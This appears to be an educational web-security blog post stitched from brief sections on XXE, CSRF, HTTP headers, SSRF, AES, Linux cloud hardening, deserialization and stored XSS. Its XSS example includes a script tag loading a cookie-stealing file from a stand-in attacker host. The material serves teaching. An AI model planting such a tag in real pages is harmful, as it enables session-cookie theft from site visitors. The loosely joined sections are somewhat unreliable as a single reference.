XML External Entities (XXE)

Photo by Mohammad Rahmani on Unsplash

Extensible Markup Language (XML) describes data, like the contents of a webpage or database file. XML formatting allows applications to understand information and share data consistently. In order to read this data, you need to have an XML processor. Also referred to as an XML parser, these automated tools read files, transform the content, update databases, and deliver that content so the program can access it.

However, when web applications use an XML format to transmit data between the browser and server, they often use APIs to process the data. Within the XML standard, storage units are called “entities.” External entity refers to a storage unit that can access local or remote content.

An XXE vulnerability can arise from failure to:

  • Know the source before accepting or uploading XML data
  • Disable document type definitions (DTDs)
  • Use less complex data formats like JSON
  • Patch XML processors or underlying operating system
  • Detect XXE in source code

HTTP Status Codes For Burp Suite Testing

Photo by Vlad Rosh on Unsplash

I’ll preface the testing first by mentioning that it’s important to have familiarity with the HTTP status codes to help us better understand how the server is handling our attack packets. Below is a subset of HTTP status codes from OWASP that can be used as a point of reference:

Status codeMessageDescription
200OKResponse to a successful REST API action. The HTTP method can be GET, POST, PUT, PATCH or DELETE.
201CreatedThe request has been fulfilled and resource created. A URL for the created resource is returned in the Location header.
202AcceptedThe request has been accepted for processing, but processing is not yet complete.
400Bad RequestThe request is malformed, such as message body format error.
401UnauthorizedWrong or no authentication ID/password provided.
403ForbiddenUsed when the authentication succeeded, but the authenticated user doesn’t have permission to the request resource.
404Not FoundWhen a non-existent resource is requested.
406UnacceptableThe client presented a content type in the Accept header which is not supported by the server API.
405Method Not AllowedThe error for an unexpected HTTP method. For example, the REST API is expecting HTTP GET, but HTTP PUT is used.
413Payload too largeUses to signal that the request size exceeded the given limit e.g. regarding file uploads.
415Unsupported Media TypeThe requested content type is not supported by the REST service.
429Too Many RequestsUsed when there may be DOS attack detected or the request is rejected due to rate limiting
500Internal Server ErrorAn unexpected condition prevented the server from fulfilling the request. Be aware that the response should not reveal internal information that helps an attacker, e.g. detailed error messages or stack traces.
501Not ImplementedThe REST service does not implement the requested operation yet.
503Service UnavailableThe REST service is temporarily unable to process the request. Used to inform the client it should retry later.

Cross-Site Request Forgery (CSRF) Attacks

Photo by Markus Spiske on Unsplash

What is CSRF

Cross-site request forgery (CSRF), also known as XSRF, Sea Surf or Session Riding, is an attack vector that tricks a web browser into executing an unwanted action in an application to which a user is logged in.

A successful CSRF attack can be devastating for both the business and the user. It can result in damaged client relationships, unauthorized fund transfers changed passwords and data theft—including stolen session cookies.

CSRFs are typically conducted using malicious social engineering, such as an email or link that tricks the victim into sending a forged request to a server. As the unsuspecting user is authenticated by their application at the time of the attack, it’s impossible to distinguish a legitimate request from a forged one.

CSRF Attack Example

Before executing an assault, a perpetrator typically studies an application in order to make a forged request appear as legitimate as possible.

For example, a typical GET request for a $100 bank transfer might look like:

A bad actor can embed the request into an innocent-looking hyperlink:

Next, he can distribute the hyperlink via email to a large number of bank customers. Those who click on the link while logged into their bank account will unintentionally initiate the $100 transfer.

Note that if the bank’s website is only using POST requests, it’s impossible to frame malicious requests using a <a> href tag. However, the attack could be delivered in a <form> tag with the automatic execution of the embedded JavaScript.

How to Check Your HTTP Security Headers

Photo by Kelly Sikkema on Unsplash

Below are three quick and easy ways to check your HTTP security headers, as part of your HTTP response headers.

1. KeyCDN’s HTTP Header Checker Tool

KeyCDN has an online HTTP Header Checker tool that you can easily use to retrieve which HTTP security headers are currently running on your website. Simply input the URL you want to check.

It will then return with your HTTP response headers.

2. Chrome DevTools – Response Headers

Another quick and easy way to access your HTTP security headers, as part of your response headers, is to fire up Chrome DevTools. To run this click into the “Network” panel press Ctrl + R (Cmd + R) to refresh the page. Click into your domain’s request and you will see a section for your response headers.

3. Scan Your Website With securityheaders.io

A third way to check your HTTP security headers is to scan your website on securityheaders.io. This is a handy little tool that was developed by Scott Helme, an information security consultant. It gives your website a score, based on present HTTP security headers, from an A+ grade down to an F grade. Make sure to bookmark it. Here is an example of an A+ grade on his own website.

Here is an example of an F grade without any of the HTTP security headers present on Citi’s corporate website.

It spits out both your raw HTTP headers and gives you a nice summary of each HTTP security header and what is missing.

Scott also created both a Chrome extension and Firefox extension in which you can scan the HTTP security headers of a website you want to analyze. He did an analysis in February 2016 of the Alexa top 1 million sites to see what their HTTP security header usage was and the results might surprise you. The number of sites using the strict-transport-security header nearly doubled. So it appears more people are starting to implement them, especially now that many companies are making the transition to HTTPS. We recommend during an HTTPS migration to do a full evaluation of your current security policies.

Content Security Policy (CSP) especially can be a powerful mechanism to prevent Cross-Site Scripting (XSS) attacks which accounts for 84% of all security vulnerabilities in web sites. However, as you can see above less than 5% of websites are actively using the headers. This needs to change.

Summary

As you can see HTTP security headers can help harden the security of your website and in most scenarios, there is no reason not to use them. If you don’t control access to your own web servers we recommend reaching out to your web host and let them know. Maybe send them a link from securityheaders.io, an F grade is never a good thing!

Operating System (OS) command injection

Photo by Gabriel Heinzer on Unsplash

Some web applications make calls to operating systems so that they can communicate with the operating system or hardware. OS calls include functions like:

  • Process control: monitoring what an application is doing and providing for termination
  • File management: giving the application access to interact with files
  • Device management: requesting or managing hardware like processing power
  • Information maintenance: managing or maintaining information as part of keeping data updated
  • Inter-process communication: coordinating processes for effective operation

Insecure OS command calls allow users to supply invalidated inputs. In other words, the malicious actors can take the OS command call, add an additional query notation, and gain valuable information about how to exploit the application.

What is SSRF?

Photo by Denny Bú on Unsplash

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization’s infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials.

What Is AES encryption?

Photo by Alex Motoc on Unsplash

AES is a fast, efficient, and secure encryption standard. Certified by the National Institute of Standards and Technology (NIST), AES is used by the United States government to secure classified data.

What does AES stand for?

AES stands for Advanced Encryption Standard and is a symmetric-key cipher. There are two fundamental kinds of cipher algorithms:

Asymmetric-key ciphers

These use public-key cryptography to allow the secure exchange of keys over a distance (such as over the internet). Data is encrypted using a public key, which is made widely available, but which can only be decrypted using the correct private key (which only the intended recipient should possess). Asymmetric-key ciphers require a high level of computational power. This makes them relatively slow, and thus most useful for encrypting small amounts of data. RSA, for example, is an asymmetric cipher used to encrypt just the keys during the TLS exchange that occurs when connecting to an HTTPS website.

Symmetric-key ciphers

The same key is used to both encrypt and decrypt the data. There may sometimes be a simple transformation between the two keys, but they are always derived from the same key. Symmetric-key ciphers require much less processing power than asymmetric-key ciphers and are therefore often cited as being around 1,000 times faster. This makes symmetric-key ciphers ideal for encrypting large volumes of data. Where large amounts of data need to be transmitted over a distance (such as over the internet), the data itself is encrypted using a symmetric-key cipher, such as AES, while the key exchange is secured using an asymmetric-key cipher, such as RSA.

Linux Cloud Security

Photo by Joshua Sortino on Unsplash

Now that we have taken a look at how Linux security on-premises works, we can now look at why Linux in the cloud is much better in terms of physical security, and how it differs from Linux on-premises.

Many cloud hosting providers exist on the internet, and all offer the same type of package regarding getting your Linux server up and running, so it can be a daunting task to pick the right cloud hosting provider. 

Given that the cloud gets rid of the physical aspect of hosting a server, it also eliminates the physical layer of the server security, which makes everything simpler. Cloud hosting providers offer varying levels of physical control, from booting and the shutting down servers to set up customized firewalls. 

Let us take a look at some of the essential security measures to be taken in the cloud.

Console and account access

Your security policy should define the various individuals and their respective accounts that will have access to the cloud hosting provider console or dashboard, and the multiple permissions for interacting with the servers and any other resources. This will prevent unauthorized access by individuals who may not know how to interact with the dashboard or have malicious intent. This will also create a system of accountability, as only individual accounts will have direct access to interact with the servers.

SSH (Secure Shell)

SSH (Secure Shell) is a secure network protocol that allows users to access a computer remotely, over an unsecured network securely.

SSH will be the primary access point to your server, so it is essential to secure it correctly. Let us take a look at the various ways this can be done.

  1. Change the default SSH port from port 22 to another unambiguous port. This is because the default SSH port will be subject to brute force attacks.
  2. Make use of SSH keys instead of password-based authentication. This is extremely important as passwords can easily be guessed by brute force attacks and commonly used wordlists. SSH keys utilize asymmetric encryption, where the public key is stored on the server, and the private key is stored on your computer; as a result, access to the server can only be done by using the private key.

Setting up a firewall

Many cloud hosting providers provide firewall functionality that allows you to close any open ports that are not being used, this can be done at different levels of abstraction, for example, if you are using AWS you can create a security group that specifies the particular ports that can be accessed and associate it with your server, this can also be done on the server by using a tool like iptables.

Backups

Backups are vital for organizations that handle data. Many things can go wrong, not only from a security standpoint, but from a system administration standpoint, databases and files can be deleted by mistake, or hackers could gain unauthorized access and compromise the integrity of the data. Most cloud hosting providers provide backup and snapshot services worth every penny because they can be set up to automatically backup and take snapshots of your servers. If you prefer to backup files manually, you can also automate the process with bash scripts.

However, manual backups may not offer the same level of reliability and may not guarantee complete restoration; for this reason, automated tools and programs are recommended to streamline the process and ensure that data can be recovered correctly. We will not be covering the various tools that can be used for creating backups in this book as multiple factors like subscription costs are dependent on your security policy.

DDoS and Brute force protection

Brute force and DDoS are some of the most common types of attacks on servers. They usually target the web application or particular ports, and in the case of SSH, many tools can be used to prevent brute force attacks, an example of this is SSH Guard, this is a tool that blocks failed login attempts on both SSH and FTP protocols. DDoS attacks are equally as standard and are usually caused by exposing the origin IP address of the server to the public, and this should be avoided at all costs and will save you a lot of pain when securing your server. Using a Content Delivery Network (CDN) like Cloudflare will mitigate this risk, and provide other functionality like a WAF (Web Application Firewall).

System and package updates

Keeping your operating system, kernel, and packages up to date is very important, as new vulnerabilities may be discovered that affect your OS or packages; as a result, patches for these vulnerabilities will be pushed, and you will need to patch your system immediately. 

These are some of the fundamental cloud security practices for your servers and infrastructure; they will be explained in detail later in the book.

Now that we have differentiated Linux security in the cloud from Linux security on-premises, we can see how the cloud offers much better protection by eliminating the need for physical security and giving us a much more extensive range of services.

Let us now look at how to develop a security policy inclusive of both the physical and software aspects of security.

Insecure Deserialization

Photo by Kenny Eliason on Unsplash

Applications handle complex data structures. Serialization converts the structures into an object that can be stored and transmitted easily. For example, think about different actions that go into making a peanut butter and jelly sandwich:

  1. Get plate
  2. Get bread
  3. Open bread
  4. Take out bread 1
  5. Put bread 1 on plate
  6. Take out bread 2
  7. Put bread 2 on plate
  8. Get knife
  9. Get peanut butter
  10. Open peanut butter
  11. Get jelly
  12. Open jelly
  13. Get peanut butter on knife
  14. Put peanut butter on bread 1
  15. Get jelly on knife
  16. Put jelly on bread 2
  17. Smoosh bread 1 and bread 2 together with covered sides facing

You need all of these things to happen as part of making the sandwich, but they aren’t necessarily step-by-step in this order. Having to send all 17 of these data points, like individual messages, every time someone asks for a peanut butter and jelly sandwich can be time-consuming to write down and send. Most likely, you’d group them in a document as “Peanut Butter and Jelly Sandwich” that you send when someone asks, similar to serialization. When the person opens the document, they can see each individual data point, similar to deserialization.

Deserialization is the process of reconstructing the original, expanded data structure. With a deserialization vulnerability, malicious actors can change the application logic or execute code remotely, one of the most serious attack types.

Stored Cross-Site Scripting (XSS) Attacks

Photo by Florian Olivo on Unsplash

What is stored cross-site scripting

Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

To successfully execute a stored XSS attack, a perpetrator has to locate a vulnerability in a web application and then inject malicious script into its server (e.g., via a comment field).

One of the most frequent targets is websites that allow users to share content, including blogs, social networks, video sharing platforms and message boards. Every time the infected page is viewed, the malicious script is transmitted to the victim’s browser.

Stored XSS Attack

While browsing an e-commerce website, a perpetrator discovers a vulnerability that allows HTML tags to be embedded in the site’s comments section. The embedded tags become a permanent feature of the page, causing the browser to parse them with the rest of the source code every time the page is opened.

The attacker adds the following comment: Great price for a great item! Read my review here

“<script src=”http://hackersite.com/authstealer.js”> </script>”

From this point on, every time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site and has the ability to steal visitors’ session cookies.

Using the session cookie, the attacker can compromise the visitor’s account, granting him easy access to his personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.

Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page. This increases the reach of the attack, endangering all visitors no matter their level of vigilance.

From the perpetrator’s standpoint, persistent XSS attacks are relatively harder to execute because of the difficulties in locating both a trafficked website and one with vulnerabilities that enables permanent script embedding.